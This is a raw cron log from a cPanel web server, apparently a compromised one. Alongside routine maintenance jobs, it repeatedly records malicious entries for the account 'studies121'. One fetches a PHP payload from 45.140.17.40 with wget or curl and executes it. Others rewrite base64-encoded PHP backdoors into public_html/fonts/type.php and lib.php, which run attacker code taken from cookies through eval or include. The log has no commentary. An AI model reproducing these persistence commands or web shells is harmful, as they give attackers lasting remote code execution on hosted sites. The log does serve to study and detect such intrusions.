Sep 20 18:46:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:46:01 ip-184-168-122-23 CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:46:01 ip-184-168-122-23 CROND[5151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:46:01 ip-184-168-122-23 CROND[5152]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 18:47:01 ip-184-168-122-23 CROND[5461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:47:01 ip-184-168-122-23 CROND[5462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:47:01 ip-184-168-122-23 CROND[5465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:47:02 ip-184-168-122-23 CROND[5466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:48:01 ip-184-168-122-23 CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:48:01 ip-184-168-122-23 CROND[5620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:48:01 ip-184-168-122-23 CROND[5621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:48:01 ip-184-168-122-23 CROND[5622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:48:01 ip-184-168-122-23 CROND[5623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:49:01 ip-184-168-122-23 CROND[5841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:49:01 ip-184-168-122-23 CROND[5844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:49:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:49:01 ip-184-168-122-23 CROND[5843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6105]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:50:01 ip-184-168-122-23 CROND[6106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:50:01 ip-184-168-122-23 CROND[6109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:50:01 ip-184-168-122-23 CROND[6110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:51:01 ip-184-168-122-23 CROND[6386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:51:01 ip-184-168-122-23 CROND[6387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:51:01 ip-184-168-122-23 CROND[6390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:51:01 ip-184-168-122-23 CROND[6391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:52:01 ip-184-168-122-23 CROND[6646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:52:01 ip-184-168-122-23 CROND[6647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:52:01 ip-184-168-122-23 CROND[6648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:52:01 ip-184-168-122-23 CROND[6649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:52:01 ip-184-168-122-23 CROND[6654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:53:01 ip-184-168-122-23 CROND[6967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:53:01 ip-184-168-122-23 CROND[6964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:53:01 ip-184-168-122-23 CROND[6965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:53:01 ip-184-168-122-23 CROND[6966]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:54:01 ip-184-168-122-23 CROND[7242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:54:01 ip-184-168-122-23 CROND[7245]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:54:01 ip-184-168-122-23 CROND[7244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:54:01 ip-184-168-122-23 CROND[7246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:54:01 ip-184-168-122-23 CROND[7247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:55:01 ip-184-168-122-23 CROND[7543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:55:01 ip-184-168-122-23 CROND[7545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:55:01 ip-184-168-122-23 CROND[7546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:55:01 ip-184-168-122-23 CROND[7547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:55:01 ip-184-168-122-23 CROND[7548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:55:01 ip-184-168-122-23 CROND[7549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:56:01 ip-184-168-122-23 CROND[7806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:56:01 ip-184-168-122-23 CROND[7807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:56:02 ip-184-168-122-23 CROND[7812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:56:02 ip-184-168-122-23 CROND[7809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:56:02 ip-184-168-122-23 CROND[7810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:57:01 ip-184-168-122-23 CROND[8035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:57:01 ip-184-168-122-23 CROND[8038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:57:01 ip-184-168-122-23 CROND[8041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:57:01 ip-184-168-122-23 CROND[8042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:58:01 ip-184-168-122-23 CROND[8276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:58:01 ip-184-168-122-23 CROND[8279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:58:01 ip-184-168-122-23 CROND[8278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:58:01 ip-184-168-122-23 CROND[8281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
